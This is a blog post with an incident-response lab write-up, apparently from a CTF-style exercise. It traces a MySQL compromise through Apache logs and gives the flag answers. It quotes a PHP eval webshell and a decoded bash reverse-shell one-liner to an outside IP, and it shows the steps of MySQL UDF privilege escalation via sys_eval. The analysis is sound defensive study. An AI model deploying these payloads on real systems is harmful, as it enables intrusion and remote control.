good night.|

Fxe0_0

园龄:1年3个月粉丝:2关注:1

第二章日志分析-mysql应急响应

知识点

  • mysql udf提权
  • apache日志排查
  • bash反弹shell

题解

mysql应急响应 ssh账号 root 密码 xjmysql
ssh env.xj.edisec.net -p xxxxx

1.黑客第一次写入的shell flag{关键字符串}

# 先看/var/www/html目录发现sh.php后门文件, 内容如下
1 2 <?php @eval($_POST['a']);?> 4
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b
# 从这个1 2 4能看出来是通过数据库注入写入的webshell, 注入点为表第三个字段
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

2.黑客反弹shell的ip flag{ip}

# 查看一下apache的日志
# 在518行, 发现了如下内容
192.168.200.2 - - [01/Aug/2023:02:18:27 +0000] "POST /adminer.php?username=root&sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%3E%2Ftmp%2F1.sh%27)%3B
# url解码后的内容为
username=root&sql=select sys_eval('echo YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx|base64 -d>/tmp/1.sh');
# base64解码后的内容为
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
# 这里能得到5个信息
1.使用bash进行的shell反弹
2.反弹shell的地址为192.168.100.13
3.反弹shell的端口为777端口
4.反弹shell的执行内容写入了/tmp/1.sh
5.根据sys_eval, 攻击者使用mysql_udf的方式进行的提权
flag{192.168.100.13}

3.黑客提权文件的完整路径 md5 flag{md5} 注/xxx/xxx/xxx/xxx/xxx.xx

# 这里问的是黑客提权文件的完整路径, udf提权的本质是mysql可以加载用户插件成为mysql中的自定义function
# udf提权需要导入一个动态链接库到插件目录, 从apache日志的第496行发现了如下内容
http://192.168.200.31:8005/adminer.php?username=root&db=cms&sql=show variables like '%plugin%'
# 这里黑客正在查看插件目录在哪里, 先从common.php中找到mysql用户密码连入数据库查看查询结果
➜ mysql -uroot -p334cc35b3c704593
# 查看插件目录
MariaDB [(none)]> show variables like '%plugin%';
+-----------------+------------------------+
| Variable_name | Value |
+-----------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
| plugin_maturity | unknown |
+-----------------+------------------------+
# 前往插件目录查看有没有奇怪的文件
➜ ls -l /usr/lib/mysql/plugin/
total 4752
-rw-r--r--. 1 mysql mysql 10416 May 16 2019 auth_pam.so
-rw-r--r--. 1 mysql mysql 6464 May 16 2019 auth_socket.so
-rw-r--r--. 1 mysql mysql 10200 May 16 2019 dialog.so
-rw-r--r--. 1 mysql mysql 1600136 May 16 2019 ha_innodb.so
-rw-r--r--. 1 mysql mysql 159304 May 16 2019 handlersocket.so
-rw-r--r--. 1 mysql mysql 6104 May 16 2019 mysql_clear_password.so
-rw-rw-rw-. 1 mysql mysql 10754 Aug 1 2023 mysqludf.so
-rw-r--r--. 1 mysql mysql 39944 May 16 2019 semisync_master.so
-rw-r--r--. 1 mysql mysql 14736 May 16 2019 semisync_slave.so
-rw-r--r--. 1 mysql mysql 55696 May 16 2019 server_audit.so
-rw-r--r--. 1 mysql mysql 2918008 May 16 2019 sphinx.so
-rw-r--r--. 1 mysql mysql 11008 May 16 2019 sql_errlog.so
-rw-rw-rw-. 1 mysql mysql 34 Aug 1 2023 udf.so
# 可以看出来只有udf.so和mysqludf.so是2023年新创建的, 而且根据文件大小可以判断提权文件是mysqludf.so
# 再根据apache日志进行二次确认, apache日志的第503和504行, 是黑客正在根据mysqludf.so创建sys_eval函数如下:
sql=create function sys_eval returns string soname 'mysqludf.so';
flag{/usr/lib/mysql/plugin/mysqludf.so}
# flag错了因为要完整路径的md5
flag{3e7bacbb71987712109fe091fc3d987f}
# flag还tm不正确, 搜了下答案发现是提权文件是udf.so?
# ......... 我觉得得确认一下答案有没有问题

4.黑客获取的权限 flag{whoami后的值}

# 黑客获取的权限也就是创建的sys_eval的权限, 连入数据库执行一下whoami
➜ mysql -uroot -p334cc35b3c704593
MariaDB [(none)]> select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set (0.00 sec)
MariaDB [(none)]> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.01 sec)
flag{mysql}

本文作者:Fxe0_0

本文链接:https://www.cnblogs.com/Fxe00/p/18338186

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Fxe0_0  阅读(28)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起